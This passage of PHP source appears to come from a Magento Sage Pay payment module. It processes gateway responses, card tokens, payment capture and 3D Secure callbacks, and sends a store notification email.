868
869 $r = $response;
870
871
872 $result->setRequest($request);
873
874 try {
875 if (empty($r) OR !isset($r['Status'])) {
876 $msg = $this->_SageHelper()->__('Sage Pay is not available at this time. Please try again later.');
877 Sage_Log::log($msg, 1);
878 $result
879 ->setResponseStatus('ERROR')
880 ->setResponseStatusDetail($msg);
881 return $result;
882 }
883
884 if (isset($r['VPSTxId'])) {
885 $result->setVpsTxId($r['VPSTxId']);
886 }
887 if (isset($r['SecurityKey'])) {
888 $result->setSecurityKey($r['SecurityKey']);
889 }
890
891 switch ($r['Status']) {
892 case 'FAIL':
893 $params['order'] = Mage::getSingleton('checkout/session')->getQuote()->getReservedOrderId();
894 $params['error'] = Mage::helper('sagepaysuite')->__($r['StatusDetail']);
895 //$rc = $this->sendNotificationEmail('', '', $params);
896
897 $result->setResponseStatus($r['Status'])
898 ->setResponseStatusDetail(Mage::helper('sagepaysuite')->__($r['StatusDetail']))
899 ->setVPSTxID(1)
900 ->setSecurityKey(1)
901 ->setTxAuthNo(1)
902 ->setAVSCV2(1)
903 ->setAddressResult(1)
904 ->setPostCodeResult(1)
905 ->setCV2Result(1)
906 ->setTrnSecuritykey(1);
907 return $result;
908 break;
909 case 'FAIL_NOMAIL':
910 Mage::throwException($this->_SageHelper()->__($r['StatusDetail']));
911 break;
912 case parent::RESPONSE_CODE_INVALID:
913 Mage::throwException($this->_SageHelper()->__('INVALID. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
914 break;
915 case parent::RESPONSE_CODE_MALFORMED:
916 Mage::throwException($this->_SageHelper()->__('MALFORMED. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
917 break;
918 case parent::RESPONSE_CODE_ERROR:
919 Mage::throwException($this->_SageHelper()->__('ERROR. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
920 break;
921 case parent::RESPONSE_CODE_REJECTED:
922 Mage::throwException($this->_SageHelper()->__('REJECTED. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
923 break;
924 case parent::RESPONSE_CODE_3DAUTH:
925 $result->setResponseStatus($r['Status'])
926 ->setResponseStatusDetail((isset($r['StatusDetail']) ? $r['StatusDetail'] : '')) //Fix for simulator
927 ->set3DSecureStatus($r['3DSecureStatus']) // to store
928 ->setMD($r['MD']) // to store
929 ->setACSURL($r['ACSURL'])
930 ->setPAReq($r['PAReq']);
931 break;
932 default:
933
934 $result->setResponseStatus($r['Status'])
935 ->setResponseStatusDetail($r['StatusDetail']) // to store
936 ->setVpsTxId($r['VPSTxId']) // to store
937 ->setSecurityKey($r['SecurityKey']) // to store
938 ->setTrnSecuritykey($r['SecurityKey']);
939 if (isset($r['3DSecureStatus']))
940 $result->set3DSecureStatus($r['3DSecureStatus']);
941 if (isset($r['CAVV']))
942 $result->setCAVV($r['CAVV']);
943
944 if (isset($r['TxAuthNo']))
945 $result->setTxAuthNo($r['TxAuthNo']);
946 if (isset($r['AVSCV2']))
947 $result->setAvscv2($r['AVSCV2']);
948 if (isset($r['PostCodeResult']))
949 $result->setPostCodeResult($r['PostCodeResult']);
950 if (isset($r['CV2Result']))
951 $result->setCv2result($r['CV2Result']);
952 if (isset($r['AddressResult']))
953 $result->setAddressResult($r['AddressResult']);
954
955 $result->addData($r);
956
957 //Saving TOKEN.
958 if (!$callback3D && $result->getData('Token')) {
959 $tokenData = array(
960 'Token' => $result->getData('Token'),
961 'Status' => $result->getData('Status'),
962 'Vendor' => $request->getData('Vendor'),
963 'CardType' => $request->getData('CardType'),
964 'ExpiryDate' => $request->getData('ExpiryDate'),
965 'StatusDetail' => $result->getData('StatusDetail'),
966 'Protocol' => 'direct',
967 'CardNumber' => $request->getData('CardNumber'),
968 'Nickname' => $request->getData('Nickname')
969 );
970
971 Mage::getModel('sagepaysuite/sagePayToken')->persistCard($tokenData);
972 }
973
974 break;
975 }
976 } catch (Exception $e) {
977
978 Sage_Log::logException($e);
979
980 $result
981 ->setResponseStatus('ERROR')
982 ->setResponseStatusDetail(Mage::helper('sagepaysuite')->__($e->getMessage()));
983 return $result;
984 }
985
986 return $result;
987 }
988
989 public function getNewTokenCardArray(Varien_Object $payment) {
990 $data = array();
991 $data ['CardHolder'] = $payment->getCcOwner();
992 $data ['CardNumber'] = $payment->getCcNumber();
993 $data ['CardType'] = $payment->getCcType();
994 $data ['Currency'] = $payment->getOrder()->getOrderCurrencyCode();
995 $data ['CV2'] = $payment->getCcCid();
996 $data ['Nickname'] = $payment->getCcNickname();
997 $data ['Protocol'] = 'direct'; #For persistant storing
998 $data ['ExpiryDate'] = str_pad($payment->getCcExpMonth(), 2, '0', STR_PAD_LEFT) . substr($payment->getCcExpYear(), 2);
999 if ($payment->getCcSsStartMonth() && $payment->getCcSsStartYear()) {
1000 $data['StartDate'] = str_pad($payment->getCcSsStartMonth(), 2, '0', STR_PAD_LEFT) . substr($payment->getCcSsStartYear(), 2);
1001 }
1002
1003 return $data;
1004 }
1005
1006 /**
1007 * Capture payment
1008 *
1009 * @param Varien_Object $orderPayment
1010 * @return Mage_Payment_Model_Abstract
1011 */
1012 public function capture(Varien_Object $payment, $amount) {
1013 #Process invoice
1014 if (!$payment->getRealCapture()) {
1015 return $this->captureInvoice($payment, $amount);
1016 }
1017
1018 /**
1019 * Token Transaction
1020 */
1021 if (true === $this->_tokenPresent()/* || $this->_getSageSuiteSession()->getLastSavedTokenccid() */) {
1022 $_info = new Varien_Object(array('payment' => $payment));
1023 $result = $this->getTokenModel()->tokenTransaction($_info);
1024 if ($result['Status'] != 'OK') {
1025 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
1026 }
1027
1028 $this->getSageSuiteSession()->setInvoicePayment(true);
1029
1030 $this->setSagePayResult($result);
1031 return $this;
1032 }
1033 /**
1034 * Token Transaction
1035 */
1036 if ($this->_getIsAdmin() && (int) $this->_getAdminQuote()->getCustomerId() === 0) {
1037 //$cs = Mage::getModel('customer/customer')->setWebsiteId($this->_getAdminQuote()->getStoreId())->loadByEmail($this->_getAdminQuote()->getCustomerEmail());
1038 $cs = Mage::helper('sagepaysuite')->existsCustomerForEmail($this->_getAdminQuote()->getCustomerEmail(), $this->_getAdminQuote()->getStore()->getWebsite()->getId());
1039 if ($cs) {
1040 Mage::throwException($this->_SageHelper()->__('Customer already exists.'));
1041 }
1042 }
1043
1044 /* if ($this->getSageSuiteSession()->getSecure3d()) {
1045 $this->capture3D(
1046 $payment,
1047 $this->getSageSuiteSession()->getPares(),
1048 $this->getSageSuiteSession()->getEmede());
1049 $this->getSageSuiteSession()->setSecure3d(null);
1050 return $this;
1051 } */
1052 $this->getSageSuiteSession()->setMd(null)
1053 ->setAcsurl(null)
1054 ->setPareq(null);
1055
1056 $error = false;
1057
1058 $payment->setAnetTransType(parent::REQUEST_TYPE_PAYMENT);
1059
1060 $payment->setAmount($amount);
1061
1062 $request = $this->_buildRequest($payment);
1063 $result = $this->_postRequest($request);
1064 switch ($result->getResponseStatus()) {
1065 case 'FAIL':
1066 $payment
1067 ->setStatus('FAIL')
1068 ->setCcTransId($result->getVPSTxId())
1069 ->setLastTransId($result->getVPSTxId())
1070 ->setCcApproval('FAIL')
1071 ->setAddressResult($result->getAddressResult())
1072 ->setPostcodeResult($result->getPostCodeResult())
1073 ->setCv2Result($result->getCV2Result())
1074 ->setCcCidStatus($result->getTxAuthNo())
1075 ->setSecurityKey($result->getSecurityKey())
1076 ->setAdditionalData($result->getResponseStatusDetail());
1077 break;
1078 case 'FAIL_NOMAIL':
1079 $error = $result->getResponseStatusDetail();
1080 break;
1081 case parent::RESPONSE_CODE_APPROVED:
1082
1083 $payment->setSagePayResult($result);
1084
1085 $payment
1086 ->setStatus(parent::RESPONSE_CODE_APPROVED)
1087 ->setCcTransId($result->getVPSTxId())
1088 ->setLastTransId($result->getVPSTxId())
1089 ->setCcApproval(parent::RESPONSE_CODE_APPROVED)
1090 ->setAddressResult($result->getAddressResult())
1091 ->setPostcodeResult($result->getPostCodeResult())
1092 ->setCv2Result($result->getCV2Result())
1093 ->setCcCidStatus($result->getTxAuthNo())
1094 ->setSecurityKey($result->getSecurityKey());
1095
1096 $this->getSageSuiteSession()->setInvoicePayment(true);
1097
1098 break;
1099 case parent::RESPONSE_CODE_3DAUTH:
1100
1101 $payment->setSagePayResult($result);
1102
1103 $payment->getOrder()->setIsThreedWaiting(true);
1104
1105 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
1106
1107 $this->getSageSuiteSession()
1108 ->setAcsurl($result->getData('a_cs_ur_l'))
1109 ->setEmede($result->getData('m_d'))
1110 ->setPareq($result->getData('p_areq'));
1111 $this->setVndor3DTxCode($payment->getVendorTxCode());
1112
1113 break;
1114 default:
1115 if ($result->getResponseStatusDetail()) {
1116 $error = '';
1117 if ($result->getResponseStatus() == parent::RESPONSE_CODE_NOTAUTHED) {
1118 $error = $this->_SageHelper()->__('Your credit card can not be authenticated: ');
1119 } else if ($result->getResponseStatus() == parent::RESPONSE_CODE_REJECTED) {
1120 $error = $this->_SageHelper()->__('Your credit card was rejected: ');
1121 }
1122 $error .= $result->getResponseStatusDetail();
1123 } else {
1124 $error = $this->_SageHelper()->__('Error in capturing the payment');
1125 }
1126 break;
1127 }
1128
1129 if ($error !== false) {
1130 Mage::throwException($error);
1131 }
1132 return $this;
1133 }
1134
1135 public function saveOrderAfter3dSecure($pares, $md) {
1136
1137 $this->getSageSuiteSession()->setSecure3d(true);
1138 $this->getSageSuiteSession()->setPares($pares);
1139 $this->getSageSuiteSession()->setMd($md);
1140
1141 $quote = Mage::getSingleton('checkout/type_onepage')->getQuote();
1142 $order = $this->directCallBack3D($quote->getPayment(), $pares, $md);
1143
1144 $this->getSageSuiteSession()
1145 ->setAcsurl(null)
1146 ->setPareq(null)
1147 ->setSageOrderId(null)
1148 ->setSecure3d(null)
1149 ->setEmede(null)
1150 ->setPares(null)
1151 ->setMd(null);
1152
1153 return $order;
1154 }
1155
1156 public function sendNotificationEmail($toEmail = '', $toName = '', $params = array()) {
1157 $translate = Mage::getSingleton('core/translate');
1158
1159 $translate->setTranslateInline(false);
1160
1161 $storeId = $this->getStoreId();
1162
1163 if ($this->getWebsiteId() != '0' && $storeId == '0') {
1164 $storeIds = Mage::app()->getWebsite($this->getWebsiteId())->getStoreIds();
1165 reset($storeIds);
1166 $storeId = current($storeIds);
1167 }
1168 $toEmail = Mage::getStoreConfig('trans_email/ident_support/email', $storeId);
1169 $toName = Mage::getStoreConfig('trans_email/ident_support/name', $storeId);
1170
1171
1172 $mail = Mage::getModel('core/email_template')
1173 ->setDesignConfig(array('area' => 'frontend', 'store' => $storeId))
1174 ->sendTransactional(
1175 Mage::getStoreConfig('payment/sagepaydirectpro/email_timeout_template'), array('name' => Mage::getStoreConfig('trans_email/ident_general/name', $storeId), 'email' => Mage::getStoreConfig('trans_email/ident_general/email', $storeId)),
1176// Mage::getStoreConfig('payment/sagepaydirectpro/email_timeout_identity'),
1177 $toEmail, $toName, $params);
1178
1179 $translate->setTranslateInline(true);
1180
1181 return $mail->getSentSuccess();
1182 }
1183
1184 /* public function getOrderPlaceRedirectUrl()
1185 {
1186 $tmp = $this->getSageSuiteSession();
1187
1188 Ebizmarts_SagePaySuite_Log::w($tmp->getAcsurl().'-'.$tmp->getEmede().'-'.$tmp->getPareq());
1189
1190 if ( $tmp->getAcsurl() && $tmp->getEmede() && $tmp->getPareq()) {
1191 #return Mage::getUrl('sagepaydirectpro/payment/redirect', array('_secure' => true));
1192 return Mage::getUrl('sagepaydirectpro-3dsecure', array('_secure' => true));
1193 } else {
1194 return false;
1195 }
1196 } */
1197
1198 public function getPayPalTitle() {
1199 return Mage::getStoreConfig('payment/sagepaypaypal/title', Mage::app()->getStore()->getId());
1200 }
1201
1202 /**
1203 * @return array
1204 */
1205 public function getConfigSafeFields() {
1206 return array('active', 'mode', 'title', 'useccv', 'threed_iframe_height', 'threed_iframe_width', 'threed_layout');
1207 }
1208
1209}